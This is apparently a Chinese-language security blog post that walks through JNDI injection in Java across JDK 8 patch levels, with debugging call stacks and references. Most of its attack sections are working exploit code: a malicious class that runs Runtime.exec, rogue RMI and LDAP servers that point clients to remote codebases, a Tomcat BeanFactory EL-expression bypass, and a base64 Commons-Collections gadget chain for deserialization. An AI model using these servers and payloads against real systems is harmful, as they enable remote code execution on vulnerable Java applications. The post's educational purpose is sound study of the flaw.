简介
根据官方教程,JNDI(Java Naming and Directory Interface)是为Java程序提供的,一组用来统一调用命名服务和目录服务的API,逻辑结构如下:
可以看到下面的SPI中,有熟悉的RMI服务和DNS服务,也有没用过的CORBA和LDAP服务等。
那么到底什么是JNDI?
一句话说:接口一词在计算机系统中再常见不过,所谓JNDI,就是屏蔽掉上面说到的服务的底层细节,提供一套统一的接口来调用这些服务,我的理解就是一层封装。
漏洞原理
前面说到,JNDI支持命名服务和目录服务,而它在绑定一个对象时,可以采用引用(Reference)来存储,可以理解成一个指针/引用。
恶意的JNDIServer端先bind一个引用对象,JNDIClient端从JNDIServer端lookup这个引用对象的时候,如果Client端本地不存在对应类名的类,就会去引用对象里定义的位置加载定义的类,而指定位置是支持http等远程协议的,这就导致了远程类加载问题,这也是这个洞的核心所在,一图胜千言。
漏洞分析
JNDI这个洞最早是2016年的BlackHat爆出来的,之后陆陆续续进行了几次修复,就jdk8u版本来说,节点可以分为:8u121之前、8u121到8u191、8u191之后三个阶段,笔者也以漏洞修复的时间线,对不同的利用进行分析。
JNDI操纵RMI
适用JDK版本:<8u121
测试JDK版本:8u65
利用方式
1 2 3 4 5 6 7 8 9 10 11 12
| import java.io.IOException;
public class Calc { { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import javax.naming.InitialContext; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIRMIServer { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Jasper", "Calc", "http://localhost:7777/"); initialContext.rebind("rmi://localhost:1099/remoteObj",reference); System.out.println("Server start..."); } }
|
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext;
public class JNDIRMIClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteObjectInterface remoteObject = (RemoteObjectInterface)initialContext.lookup("rmi://localhost:1099/remoteObj"); System.out.println(remoteObject.sayHello("I'm Jasper you motherfucker.")); } }
|
python3 -m http.server 7777 起一个HTTP Server,目录里放编译后的恶意类,然后运行Server端,再运行Client端,成功执行代码。
调试
1 2 3 4 5 6 7
| getObjectFactoryFromReference:163, NamingManager getObjectInstance:319, NamingManager decodeObject:464, RegistryContext lookup:124, RegistryContext lookup:205, GenericURLContext lookup:417, InitialContext main:6, JNDIRMIClient
|
在Client端的lookup处下断点,查看获取到Reference对象之后发生了什么
三层套娃调用lookup
initialContext#lookup
GenericURLContext#lookup
RegistryContext#lookup,调了decodeObject对服务端传过来的对象解码
RegistryContext#decodeObject,如果传过来的是引用对象,通过NamingManager#getObjectInstance获取引用所指向的对象。
NamingManager#getObjectInstance,首先通过getObjectFactoryFromReference获取对象指向的对象的工厂对象factory,再由factory#getObjectInstance获取到引用对象指向的真正对象,从工厂生产产品的思想。
NamingManager#getObjectFactory,首先获取远程的工厂类,再实例化返回一个工厂对象
到这分析完毕,执行完这行就弹计算器了。
JNDI操纵LDAP
适用JDK版本:<8u191
测试JDK版本:8u121
在8u121之后,RegistryContext#decodeObject里加了trustURLCodebase,默认不允许远程加载Factory类
例如我们这里再执行上面的代码,提示要加载远程Factory,trustURLCodebase需要置为true。
这个怎么绕过呢?其实很简单,他是在RegistryContext里加了限制条件,我们用别的SPI就好,比如LDAP。Oracle这里也挺怪的,只修了RMI服务的洞,没有把LDAP的一起修,留到了8u191才来修。
利用方式
1 2 3 4 5 6 7 8 9 10 11 12
| import java.io.IOException;
public class Calc { { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
|
不用太注意LDAP服务端的实现代码,用专门的软件起一个LDAP服务也是一样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
public class JNDILDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:7777/#Calc"; int port = 1234; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
1 2 3 4 5 6 7 8 9 10 11
| import javax.naming.InitialContext;
public class JNDILDAPClient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); RemoteObjectInterface remoteObject = (RemoteObjectInterface)initialContext.lookup("ldap://localhost:1234/Calc"); System.out.println(remoteObject.sayHello("I'm Jasper you motherfucker."));
} }
|
python3 -m http.server 7777 起一个HTTP Server,目录里放编译后的恶意Calc类,然后运行Server端,再运行Client端,成功执行代码。
调试
1 2 3 4 5 6 7 8 9
| getObjectFactoryFromReference:163, NamingManager getObjectInstance:189, DirectoryManager c_lookup:1085, LdapCtx p_lookup:542, ComponentContext lookup:177, PartialCompositeContext lookup:205, GenericURLContext lookup:94, ldapURLContext lookup:417, InitialContext main:6, JNDILDAPClient
|
主要漏洞点的逻辑和JNDI操纵RMI是完全一样的,关键点在NamingManager里,这里不再重复分析了。
看调用栈也能发现,使用LDAP的话根本不会走进RegistryContext,这也是为什么能绕过trustURLCodebase。
JNDI 加载本地恶意类
适用JDK版本:≥8u191
测试JDK版本:8u191
在8u191版本里,Oracle直接在VersionHelper12.java这个文件里加了trustURLCodebase,这下所有SPI在loadClass的时候,都被禁止远程加载Factory了。
那么如何绕过呢?这里是选择利用本地组件。
之前分析过,在这里会新建工厂对象factory,并执行factory#getObjectInstance方法
那么如果客户端本地有一个Factory,它实现了ObjectFactory接口,并且重写的getObjectInstance方法里有可利用的gadgets,达到执行代码的效果,那么我们选择通过本地加载这个Factory,也能实现攻击。
Client本地可利用的Factory类的要求
- 实现了ObjectFactory接口(上图的factory变量类型要求)
- 重写的getObjectInstance方法里有可利用的gadgets(实现攻击需要)
这里也不卖关子,利用的是Tomcat核心包里内置的BeanFactory类
BeanFactory#getObjectInstance里有一个反射调用是可以利用的,我们完全可以在Server端构造出恶意命令。
这里不仔细分析参数构造了,感兴趣的师傅可以仔细研究研究。
注意:这种利用方式对SPI是什么没有要求的,RMI还是LDAP都是一样的,他们都会走到NamingManager里。
利用方式
这里以RMI服务为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.8</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper</artifactId> <version>9.0.8</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import org.apache.naming.ResourceRef;
import javax.naming.InitialContext; import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIRMIServerBypass8u191 { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); Registry registry = LocateRegistry.createRegistry(1099); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String) null, "", "", true, "org.apache.naming.factory.BeanFactory", (String) null); resourceRef.add(new StringRefAddr("forceString", "faster=eval")); resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
initialContext.bind("rmi://localhost:1099/Tomcat8bypass", resourceRef); System.out.println("JNDIRMIServer start..."); } }
|
1 2 3 4 5 6 7 8 9 10
| import javax.naming.InitialContext;
public class JNDIRMIClientBypass8u191 { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://localhost:1099/Tomcat8bypass");
} }
|
先加载Tomcat的依赖,再依次运行服务端和客户端,即可执行el表达式的代码。
调试
1 2 3 4 5 6 7
| getObjectFactoryFromReference:163, NamingManager getObjectInstance:319, NamingManager decodeObject:464, RegistryContext lookup:124, RegistryContext lookup:205, GenericURLContext lookup:417, InitialContext main:6, JNDIRMIClient
|
前面流程和JNDIRMI完全一致,直接跳到NamingManager#getObjectFactoryFromReference
可以看到它从Client端本地获取到了Tomcat依赖里的BeanFactory,并创建factory实例对象返回。
factory实例对象返回后,执行BeanFactory#getObjectInstance,这个函数是我们可以操纵执行EL表达式的。
单步步过,成功执行代码
至此,JNDI加载恶意本地类的利用分析结束。
JNDI操纵LDAP触发反序列化
适用JDK版本:≥8u191
测试JDK版本:8u191
同样是高版本的一种绕过手段,之前操纵LDAP是绑定的Reference对象,走的是类加载的路子。
实际上LDAP里有逻辑识别我们绑定的对象的类型,如果服务端绑一个序列化的字符串,就会有反序例化的点。
走反序列化解析,可以看到调用了原生反序列化,显然是可以触发漏洞的。
这里我们用CC打,这就要求JNDIClient端有CC依赖,笔者用的CC6的链子,8u191低版本链子不适用。
利用方式
1 2 3 4 5 6
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.URL; import java.util.Base64;
public class JNDILDAPServerBypass8u191 {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1/#EXP"}; int port = 1234;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception { e.addAttribute("javaClassName", "foo"); e.addAttribute("javaSerializedData", Base64.getDecoder().decode( "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAAEa2V5MnNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAAJZ2V0TWV0aG9kdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAcc3EAfgATdXEAfgAYAAAAAnBwdAAGaW52b2tldXEAfgAcAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VxAH4AGAAAAAF0AARDYWxjdAAEZXhlY3VxAH4AHAAAAAFxAH4AH3NxAH4AAD9AAAAAAAAMdwgAAAAQAAAAAXQABGtleTF0AAZ2YWx1ZTF4eHQABkphc3Blcng=" )); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
1 2 3 4 5 6 7 8 9 10 11
| import javax.naming.Context; import javax.naming.InitialContext;
public class JNDILDAPCientBypass8u191 { public static void main(String[] args) throws Exception { Context context = new InitialContext(); context.lookup("ldap://localhost:1234/EXP");
} }
|
1 2 3 4 5 6 7 8 9 10
| public static void serialize(Object o) throws Exception{ ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(o); out.close(); String res = Base64.getEncoder().encodeToString(baos.toByteArray()); System.out.println("res = " + res); System.out.println("序列化完成..."); }
|
依次启动客户端和服务端,即可打通。
注意:
- Server端大部分代码是起一个LDAP服务,关键点笔者给了注释,不用全看懂
- Server端的codebase是随便设都可以的,这个利用方式用不到远程加载
调试
1 2 3 4 5 6 7 8 9 10
| readObject:424, ObjectInputStream deserializeObject:531, Obj decodeObject:239, Obj c_lookup:1051, LdapCtx p_lookup:542, ComponentContext lookup:177, PartialCompositeContext lookup:205, GenericURLContext lookup:94, ldapURLContext lookup:417, InitialContext main:10, JNDILDAPCientBypass8u191
|
看调用栈可以看到,一共套娃调用了6层lookup方法,笔者这里直接从LdapCtx#c_lookup开始分析
至此,JNDI的LDAP触发反序列化的调试结束。
参考链接
JNDI官方教程
https://docs.oracle.com/javase/tutorial/jndi/TOC.html
JDK版本修复日志
https://www.oracle.com/java/technologies/javase/8u121-relnotes.html
https://www.oracle.com/java/technologies/javase/8u191-relnotes.html
JDK补丁代码对比
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/a58fca2f8a5d
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/2db6890a9567
JNDI注入漏洞参考
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.bilibili.com/video/BV1ct4y1h79t
https://goodapple.top/archives/696
https://tttang.com/archive/1611
https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/
https://tttang.com/archive/1405
https://paper.seebug.org/942/
https://www.cnblogs.com/bitterz/p/15946406.html#
小结
JNDI注入,攻击面很多,本质是类加载和反序列化。